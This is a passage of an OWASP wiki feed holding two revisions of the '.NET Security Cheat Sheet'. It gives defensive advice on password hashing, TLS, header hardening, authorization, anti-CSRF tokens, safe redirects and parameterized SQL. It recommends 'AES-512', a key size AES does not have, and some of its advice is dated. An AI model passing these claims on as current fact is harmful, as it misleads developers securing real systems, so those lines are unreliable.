* '''A6 Sensitive data exposure'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Store encrypted passwords.&lt;br /&gt;
&lt;br /&gt;
DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.&lt;br /&gt;
&lt;br /&gt;
DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy. &lt;br /&gt;
&lt;br /&gt;
DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.&lt;br /&gt;
&lt;br /&gt;
DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].&lt;br /&gt;
&lt;br /&gt;
DO NOT: Allow SSL, this is now obsolete&lt;br /&gt;
&lt;br /&gt;
DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]&lt;br /&gt;
&lt;br /&gt;
DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:&lt;br /&gt;
    &amp;amp;lt;system.web&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/system.web&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;security&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/security&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;/customHeaders&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/httpProtocol&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''A7 Missing function level access control'''&lt;br /&gt;
&lt;br /&gt;
DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize(Roles = &amp;quot;Admin&amp;quot;)]&lt;br /&gt;
     [HttpGet]&lt;br /&gt;
     public ActionResult Index(int page = 1)&lt;br /&gt;
&lt;br /&gt;
or better yet, at controller level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize]&lt;br /&gt;
     public class UserController&lt;br /&gt;
&lt;br /&gt;
You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)&lt;br /&gt;
&lt;br /&gt;
* '''A8 Cross site request forgery'''&lt;br /&gt;
&lt;br /&gt;
DO: Send the anti-forgery token with every Post/Put request:&lt;br /&gt;
&lt;br /&gt;
    using (Html.BeginForm(&amp;quot;LogOff&amp;quot;, &amp;quot;Account&amp;quot;, FormMethod.Post, new { id = &amp;quot;logoutForm&amp;quot;, @class = &amp;quot;pull-right&amp;quot; }))&lt;br /&gt;
        {&lt;br /&gt;
        @Html.AntiForgeryToken()&lt;br /&gt;
        &amp;amp;lt;ul class=&amp;quot;nav nav-pills&amp;quot;&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;Logged on as @User.Identity.Name&amp;lt;/li&amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;&amp;amp;lt;a href=&amp;quot;javascript:document.getElementById('logoutForm').submit()&amp;quot;&amp;amp;gt;Log off&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/li&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;/ul&amp;amp;gt;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Then validate it at the method or preferably the controller level:&lt;br /&gt;
&lt;br /&gt;
        [HttpPost]&lt;br /&gt;
        '''[ValidateAntiForgeryToken]'''&lt;br /&gt;
        public ActionResult LogOff()&lt;br /&gt;
&lt;br /&gt;
Make sure the tokens are removed completely for invalidation on logout.&lt;br /&gt;
&lt;br /&gt;
        /// &amp;lt;summary&amp;gt;&lt;br /&gt;
        /// SECURE: Remove any remaining cookies including Anti-CSRF cookie&lt;br /&gt;
        /// &amp;lt;/summary&amp;gt;&lt;br /&gt;
        public void RemoveAntiForgeryCookie(Controller controller)&lt;br /&gt;
        {&lt;br /&gt;
            string[] allCookies = controller.Request.Cookies.AllKeys;&lt;br /&gt;
            foreach (string cookie in allCookies)&lt;br /&gt;
            {&lt;br /&gt;
                if (controller.Response.Cookies[cookie] != null &amp;amp;&amp;amp; cookie == &amp;quot;__RequestVerificationToken&amp;quot;)&lt;br /&gt;
                {&lt;br /&gt;
                    controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
NB: You will need to attach the anti-forgery token to Ajax requests.&lt;br /&gt;
&lt;br /&gt;
* '''A9 Using components with known vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
DO: Keep the .Net framework updated with the latest patches&lt;br /&gt;
&lt;br /&gt;
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
DO:  Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]&lt;br /&gt;
&lt;br /&gt;
* '''A10 Unvalidated redirects and forwards'''&lt;br /&gt;
&lt;br /&gt;
A protection against this was introduced in Mvc 3 template. Here is the code:&lt;br /&gt;
&lt;br /&gt;
        public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (ModelState.IsValid)&lt;br /&gt;
            {&lt;br /&gt;
                var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);&lt;br /&gt;
                if (logonResult.Success)&lt;br /&gt;
                {&lt;br /&gt;
                    await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);                              &lt;br /&gt;
                    return RedirectToLocal(returnUrl);&lt;br /&gt;
        ....&lt;br /&gt;
&lt;br /&gt;
        private ActionResult RedirectToLocal(string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (Url.IsLocalUrl(returnUrl))&lt;br /&gt;
            {&lt;br /&gt;
                return Redirect(returnUrl);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                return RedirectToAction(&amp;quot;Landing&amp;quot;, &amp;quot;Account&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Other advice:&lt;br /&gt;
&lt;br /&gt;
* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]&lt;br /&gt;
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]&lt;br /&gt;
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.&lt;br /&gt;
&lt;br /&gt;
More information:&lt;br /&gt;
&lt;br /&gt;
For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]&lt;br /&gt;
&lt;br /&gt;
==XAML Guidance==&lt;br /&gt;
&lt;br /&gt;
* Work within the constraints of Internet Zone security for your application.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Windows Forms Guidance== &lt;br /&gt;
&lt;br /&gt;
* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
==WCF Guidance==&lt;br /&gt;
&lt;br /&gt;
* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.&lt;br /&gt;
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.&lt;br /&gt;
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.&lt;br /&gt;
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Bill Sempf - bill.sempf(at)owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Troy Hunt - troyhunt(at)hotmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jeremy Long - jeremy.long(at)owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Contributors ==&lt;br /&gt;
&lt;br /&gt;
Shane Murnion&lt;br /&gt;
John Staveley&lt;br /&gt;
Steve Bamelis&lt;br /&gt;
Xander Sherry&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]][[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=233541</id>
		<title>.NET Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=233541"/>
				<updated>2017-09-20T15:00:25Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Added contributors.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
== Introduction  ==&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
This page intends to provide quick basic .NET security tips for developers.&lt;br /&gt;
&lt;br /&gt;
===The .NET Framework===&lt;br /&gt;
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.&lt;br /&gt;
&lt;br /&gt;
===Updating the Framework===&lt;br /&gt;
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.&lt;br /&gt;
&lt;br /&gt;
Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&amp;amp;referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.&lt;br /&gt;
&lt;br /&gt;
Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.&lt;br /&gt;
&lt;br /&gt;
==.NET Framework Guidance==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.&lt;br /&gt;
&lt;br /&gt;
=== Data Access ===&lt;br /&gt;
&lt;br /&gt;
* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.&lt;br /&gt;
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].&lt;br /&gt;
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.&lt;br /&gt;
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.&lt;br /&gt;
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.&lt;br /&gt;
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.&lt;br /&gt;
* When using SQL Server, prefer integrated authentication over SQL authentication.&lt;br /&gt;
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),&lt;br /&gt;
&lt;br /&gt;
=== Encryption ===&lt;br /&gt;
* Never, ever write your own encryption.&lt;br /&gt;
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.&lt;br /&gt;
* Use a strong hash algorithm. &lt;br /&gt;
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].&lt;br /&gt;
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].&lt;br /&gt;
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.&lt;br /&gt;
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.&lt;br /&gt;
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.&lt;br /&gt;
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.&lt;br /&gt;
&lt;br /&gt;
=== General ===&lt;br /&gt;
&lt;br /&gt;
* Lock down the config file. &lt;br /&gt;
** Remove all aspects of configuration that are not in use. &lt;br /&gt;
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe&lt;br /&gt;
&lt;br /&gt;
* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET Web Forms Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.&lt;br /&gt;
&lt;br /&gt;
* Always use [http://support.microsoft.com/kb/324069 HTTPS].&lt;br /&gt;
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.&lt;br /&gt;
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].&lt;br /&gt;
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.&lt;br /&gt;
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 protected override OnInit(EventArgs e) {&lt;br /&gt;
     base.OnInit(e); &lt;br /&gt;
     ViewStateUserKey = Session.SessionID;&lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.&lt;br /&gt;
&lt;br /&gt;
 private const string AntiXsrfTokenKey = &amp;quot;__AntiXsrfToken&amp;quot;;&lt;br /&gt;
 private const string AntiXsrfUserNameKey = &amp;quot;__AntiXsrfUserName&amp;quot;;&lt;br /&gt;
 private string _antiXsrfTokenValue;&lt;br /&gt;
 protected void Page_Init(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     // The code below helps to protect against XSRF attacks&lt;br /&gt;
     var requestCookie = Request.Cookies[AntiXsrfTokenKey];&lt;br /&gt;
     Guid requestCookieGuidValue;&lt;br /&gt;
     if (requestCookie != null &amp;amp;&amp;amp; Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))&lt;br /&gt;
     {&lt;br /&gt;
        // Use the Anti-XSRF token from the cookie&lt;br /&gt;
        _antiXsrfTokenValue = requestCookie.Value;&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Generate a new Anti-XSRF token and save to the cookie&lt;br /&gt;
        _antiXsrfTokenValue = Guid.NewGuid().ToString(&amp;quot;N&amp;quot;);&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
        var responseCookie = new HttpCookie(AntiXsrfTokenKey)&lt;br /&gt;
        {&lt;br /&gt;
           HttpOnly = true,&lt;br /&gt;
           Value = _antiXsrfTokenValue&lt;br /&gt;
        };&lt;br /&gt;
        if (FormsAuthentication.RequireSSL &amp;amp;&amp;amp; Request.IsSecureConnection)&lt;br /&gt;
        {&lt;br /&gt;
           responseCookie.Secure = true;&lt;br /&gt;
        }&lt;br /&gt;
        Response.Cookies.Set(responseCookie);&lt;br /&gt;
     }&lt;br /&gt;
     Page.PreLoad += master_Page_PreLoad;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 protected void master_Page_PreLoad(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     if (!IsPostBack)&lt;br /&gt;
     {&lt;br /&gt;
        // Set Anti-XSRF token&lt;br /&gt;
        ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;&lt;br /&gt;
        ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Validate the Anti-XSRF token&lt;br /&gt;
        if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue || &lt;br /&gt;
           (string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))&lt;br /&gt;
        {&lt;br /&gt;
           throw new InvalidOperationException(&amp;quot;Validation of Anti-XSRF token failed.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.&lt;br /&gt;
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.&lt;br /&gt;
** In the Home pane, double-click HTTP Response Headers.&lt;br /&gt;
** In the HTTP Response Headers pane, click Add... in the Actions pane.&lt;br /&gt;
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.&lt;br /&gt;
** This is a recommended web.config setup that handles HSTS among other things.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
  &amp;lt;configuration&amp;gt;&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
      &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;/system.web&amp;gt;&lt;br /&gt;
    &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
      &amp;lt;security&amp;gt;&lt;br /&gt;
        &amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/security&amp;gt;&lt;br /&gt;
      &amp;lt;staticContent&amp;gt;&lt;br /&gt;
        &amp;lt;clientCache cacheControlCustom=&amp;quot;public&amp;quot; cacheControlMode=&amp;quot;UseMaxAge&amp;quot; cacheControlMaxAge=&amp;quot;1.00:00:00&amp;quot; setEtag=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/staticContent&amp;gt;&lt;br /&gt;
      &amp;lt;httpProtocol&amp;gt;&lt;br /&gt;
        &amp;lt;customHeaders&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/customHeaders&amp;gt;&lt;br /&gt;
      &amp;lt;/httpProtocol&amp;gt;&lt;br /&gt;
      &amp;lt;rewrite&amp;gt;&lt;br /&gt;
        &amp;lt;rules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Redirect to https&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match url=&amp;quot;(.*)&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;Off&amp;quot;/&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{REQUEST_METHOD}&amp;quot; pattern=&amp;quot;^get$|^head$&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Redirect&amp;quot; url=&amp;quot;https://{HTTP_HOST}/{R:1}&amp;quot; redirectType=&amp;quot;Permanent&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/rules&amp;gt;&lt;br /&gt;
        &amp;lt;outboundRules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Add HSTS Header&amp;quot; enabled=&amp;quot;true&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match serverVariable=&amp;quot;RESPONSE_Strict_Transport_Security&amp;quot;&lt;br /&gt;
                pattern=&amp;quot;.*&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;on&amp;quot; ignoreCase=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Rewrite&amp;quot; value=&amp;quot;max-age=15768000&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/outboundRules&amp;gt;&lt;br /&gt;
      &amp;lt;/rewrite&amp;gt;&lt;br /&gt;
    &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
  &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove the version header.&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot; /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Also remove the Server header.&lt;br /&gt;
&lt;br /&gt;
    HttpContext.Current.Response.Headers.Remove(&amp;quot;Server&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== HTTP validation and encoding ===&lt;br /&gt;
&lt;br /&gt;
* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting.  Complete request validation is recommended in addition to the built in protections.&lt;br /&gt;
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.&lt;br /&gt;
* Whitelist allowable values anytime user input is accepted. &lt;br /&gt;
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].&lt;br /&gt;
&lt;br /&gt;
=== Forms authentication ===&lt;br /&gt;
&lt;br /&gt;
* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.&lt;br /&gt;
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.&lt;br /&gt;
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.&lt;br /&gt;
* If HTTPS is not used, slidingExpiration should be disabled.  Consider disabling slidingExpiration even with HTTPS. &lt;br /&gt;
* Always implement proper access controls.&lt;br /&gt;
** Compare user provided username with User.Identity.Name.&lt;br /&gt;
** Check roles against User.Identity.IsInRole.&lt;br /&gt;
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.&lt;br /&gt;
* Explicitly authorize resource requests.&lt;br /&gt;
* Leverage role based authorization using User.Identity.IsInRole.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET MVC Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.&lt;br /&gt;
&lt;br /&gt;
* '''A1 SQL Injection'''&lt;br /&gt;
&lt;br /&gt;
DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
DO: Use parameterized queries where a direct sql query must be used. &lt;br /&gt;
&lt;br /&gt;
e.g. In entity frameworks:&lt;br /&gt;
&lt;br /&gt;
    var sql = @&amp;quot;Update [User] SET FirstName = @FirstName WHERE Id = @Id&amp;quot;;&lt;br /&gt;
    context.Database.ExecuteSqlCommand(&lt;br /&gt;
       sql,&lt;br /&gt;
       new SqlParameter(&amp;quot;@FirstName&amp;quot;, firstname),&lt;br /&gt;
       new SqlParameter(&amp;quot;@Id&amp;quot;, id));&lt;br /&gt;
&lt;br /&gt;
DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.&lt;br /&gt;
&lt;br /&gt;
e.g&lt;br /&gt;
